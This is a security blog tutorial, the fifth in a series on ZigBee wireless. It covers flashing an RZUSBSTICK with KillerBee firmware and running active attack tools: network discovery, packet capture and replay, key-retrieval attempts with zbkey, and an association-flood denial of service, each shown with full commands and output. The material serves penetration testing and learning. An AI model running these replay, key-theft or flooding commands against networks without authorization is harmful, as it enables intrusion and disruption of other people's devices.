Fun with Zigbee Wireless - Part V (Active attacks)

By Tony Lee

Introduction

In our previous zigbee articles, we covered ZigBee usage, history, one hardware option, software options, and passive attacks:
History:  http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-i.html 
Hardware: http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-ii.html
Software: http://securitysynapse.blogspot.com/2015/11/fun-with-zigbee-wireless-part-iii.html
Passive attacks: http://securitysynapse.blogspot.com/2015/12/fun-with-zigbee-wireless-part-iv.html 

This time, let's explore some active attacks.  Active attacks that use packet injection require flashing the RZUSBSTICK and thus firmware upgrades will also be covered in this article.

Friendly reminder:  As always use this information responsibly.  Make sure you own the equipment prior to experimentation and learning.  We do not condone malicious intentions, are not held responsible for your actions, and will not bail you out of jail.

Firmware Upgrade

The first step in a firmware upgrade is to obtain the new image.  This could either be from Atmel, Luxoft, or in this case the KillerBee firmware from github.  

Download
Below we show the wget command to download the firmware and the head command to show what the firmware looks like.

root@kali:~/tools/killerbee# wget https://raw.githubusercontent.com/riverloopsec/killerbee/master/ firmware/kb-rzusbstick-002.hex root@kali:~/tools/killerbee# head kb-rzusbstick-002.hex :100000000C94B4000C94D3000C94D3000C94D30043 :100010000C94D3000C94D3000C94D3000C94D30014 :100020000C94D3000C94D3000C94220E0C94D300A7 :100030000C94D3000C94D3000C94D3000C94D300F4 :100040000C943D0B0C94910B0C94FC0B0C94D30072 :100050000C947A0B0C94D3000C94D3000C94D30022 :100060000C94D3000C94D3000C94D3000C94D300C4 :100070000C94D3000C94D3000C94D3000C94D300B4 :100080000C94D3000C94D3000C94D3000C94D300A4 :100090000C94D3000C94D300E409FC062507220835

Connections
The image below shows all of the connections necessary to flash the RZUSBSTICK.  The Dragon programmer connects to the laptop via a USB cable.  The 100mm female to female ribbon cable connects the dragon to the 100mm to 50mm stand off adapter.  The 50 mm male to male connects the stand off adapter to the RZUSBSTICK (which is plugged into the USB stand also plugged into the laptop).  You can either solder the 50mm connector to the RZUSBSTICK or you can hold the pins at an angle to make a firm connection.  Since we were flashing multiple USB sticks, we did not solder the pins.  Note that PIN 1 is closest to the LED.

Flash command

We typically get this command ready prior to the hardware being connected.  That way when the hardware is connected we only need to hit the enter key.

root@kali:~/tools/killerbee# avrdude -P usb -c dragon_jtag -p usb1287 -B 10 -U flash:w:kb-rzusbstick-002.hex avrdude: jtagmkII_initialize(): warning: OCDEN fuse not programmed, single-byte EEPROM updates not possible avrdude: AVR device initialized and ready to accept instructions Reading | ################################################## | 100% 0.01s avrdude: Device signature = 0x1e9782 avrdude: NOTE: FLASH memory has been specified, an erase cycle will be performed To disable this feature, specify the -D option. avrdude: erasing chip avrdude: jtagmkII_initialize(): warning: OCDEN fuse not programmed, single-byte EEPROM updates not possible avrdude: reading input file "kb-rzusbstick-002.hex" avrdude: input file kb-rzusbstick-002.hex auto detected as Intel Hex avrdude: writing flash (26818 bytes): Writing | ################################################## | 100% 2.99s avrdude: 26818 bytes of flash written avrdude: verifying flash memory against kb-rzusbstick-002.hex: avrdude: load data flash data from input file kb-rzusbstick-002.hex: avrdude: input file kb-rzusbstick-002.hex auto detected as Intel Hex avrdude: input file kb-rzusbstick-002.hex contains 26818 bytes avrdude: reading on-chip flash data: Reading | ################################################## | 100% 3.24s avrdude: verifying ... avrdude: 26818 bytes of flash verified avrdude: safemode: Fuses OK avrdude done. Thank you.

avrdude options defined:
-P port
-c programmer-id
-p partno
-B bitclock
-U Perform memory operation
Memtype:operation:filename

Verification

If using lsusb, the brief information does not change.  However, use lsusb -D (ex:  lsusb -D /dev/bus/usb/001/030) to see that the iProduct and iSerial values change to the following:

• iProduct:  KILLERB001
• iSerial:  FFFFFFFFFFFF

When plugging into VMware, the text changes because the iProduct value above changed.  Visually the KillerBee firmware will also change the blue light to amber on the RZUSBSTICK.

If these changes are present the firmware upgrade was successful.

Active attack

In the previous passive attack article, we showed the zbid tool to list the devices.  There should be a noticeable difference now.

Before: root@kali:~# zbid Monkey-patching usb.util.get_string() Dev Product String Serial Number 2:7 RZUSBSTICK 3FA0F6A01C25 After: root@kali:~# zbid Monkey-patching usb.util.get_string() Dev Product String Serial Number 1:30 KILLERB001 FFFFFFFFFFFF

zbstumbler
Now that we have the KillerBee firmware image loaded, we can use more interesting tools that use active techniques for discovery--including zbstumbler.  This is a bit of a head nod to the old netstumbler tool as it can use active packets to locate networks (regardless of the channel).  As a bonus, we can also use the same card to transmit and receive.  Notice in the usage and output below that we do not need to specify a channel and the card still discovered both the hub and the outlet on channel 19.

root@kali:# zbstumbler Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbstumbler: Transmitting and receiving on interface '1:24‘ New Network: PANID 0x2B55 Source 0x7A7C Ext PANID: fd:c3:43:24:23:71:f0:52 Stack Profile: ZigBee Enterprise Stack Version: ZigBee 2006/2007 Channel: 19 New Network: PANID 0x2B55 Source 0x0000 Ext PANID: fd:c3:43:24:23:71:f0:52 Stack Profile: ZigBee Enterprise Stack Version: ZigBee 2006/2007 Channel: 19

zbwireshark
zbwireshark allows users to sniff and review ZigBee traffic in real-time within Wireshark.  The tool creates a pipe which Wireshark then reads data from.  This tool can technically be used with the default firmware since it is passive in nature, but we found it slightly more stable after the KillerBee firmware upgrade.  There are still some stability issues either way.

zbwireshark being used to sniff and display packets in real-time

Sniff and Replay Packets

Once devices are discovered (zbstumbler) and understood (zbwireshark), the it may be possible to capture traffic and then replay that traffic back to the device.  This did not work in our limited testing, but it is worth a shot.

zbdump and zbreplay

We already used zbdump in the previous article, however we will cover the syntax here for completion.  The new tool here is zbreply.  This tool will take the pcap from zbdump and replay it using the flashed RZUSBSTICK.  -f specifies the channel, -w specifies the name of the pcap to write the captured packets, and -r specifies the name of the pcap to read the captured packets.

root@ubuntu:# ./zbdump -f 19 -w operating.pcap Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbdump: listening on '1:34', link-type DLT_IEEE802_15_4, capture size 127 bytes 54 packets captured root@ubuntu:# ./zbreplay -f 19 -r operating.pcap Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbreplay: retransmitting frames from 'operating.pcap' on interface '1:34' with a delay of 1.0 seconds. 27 packets transmitted

Obtain a Key

Similar to zbdsniff discussed in the prior article, the objective here is to obtain a key to decrypt ZigBee traffic.

zbkey
This tool is different from zbdsniff because it is active in nature.  Instead of passively scanning a pcap, zbkey attempts to retrieve a key by sending an associate request followed by a data request after an association response is received.

Here are a few pro-tips when trying this attack:

• Try attacking each device separately
• First attack the hub
• Then attack the child device
• Try placing them in pairing mode
• Try changing the hardware address

root@kali:~# zbkey -f 19 -p 2B55 -s 0.1 -a d052a8006b550001 Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. Sending association packet... Sending data request packet... Received frame Length of packet received in associate_handle: 27 0000: 63 cc d7 55 2b 01 00 55 6b 00 a8 52 d0 01 00 55 c..U+..Uk..R...U 0010: 6b 00 a8 52 d0 02 ff ff 02 d8 eb k..R....... Association response status was not successful. Received 2. Received frame Length of packet received in associate_handle: 27 0000: 63 cc d7 55 2b 01 00 55 6b 00 a8 52 d0 01 00 55 c..U+..Uk..R...U 0010: 6b 00 a8 52 d0 02 ff ff 02 d8 eb k..R........ --snip— Sorry, we didn't hear a device respond with an association response. Do you have an active target within range?

zbkey options defined:
-f channel
-p PAN ID
-s sleep
-a ZigBee hardware address

Denial of Service

When all else fails, it may be interesting to check the resiliency to denial of service.  Fortunately, the KillerBee suite has a tool for this as well.

zbassocflood

This tool attempts to trasmit a flood of associate requests to a target network.  It does require the PAN ID (-p), the channel (-c), and timing (-s).

root@kali:~# zbassocflood -p 0x2b55 -c 19 -s 0.1 Monkey-patching usb.util.get_string() Warning: You are using pyUSB 1.x, support is in beta. zbassocflood: Transmitting and receiving on interface '1:34' ++++++......++++++......++++++......++++++......++++++......++++++......++++++......++++++......++++++^C Sent 102 associate requests.

In the interest of full disclosure, we were not able to obtain a key or cause a denial of service.  More hardware and testing is required for to complete our research.

Conclusion

This article covered quite a bit of information including flashing the RZUSBSTICK as well as outlining the KillerBee software that can be used for active attacks against the 2.4 GHz ZigBee frequency range.  Passive attacks primarily covered sniffing and replaying, obtaining a key, and denial of service.  The following tools were covered in this article:

• avrdude (flash)
• zbstumbler
• zbwireshark
• zbdump (repeat)
• zbreplay
• zbkey
• zbassocflood

We are interested in hearing feedback from others regarding the success shown with the tools covered in this article.  Feel fee to leave feedback in the comments section below.

While onsite testing, it may be useful to have an attack methodology flow chart to follow.  Here is one we created to help stay on track and create a repeatable process.

Happy hacking. :)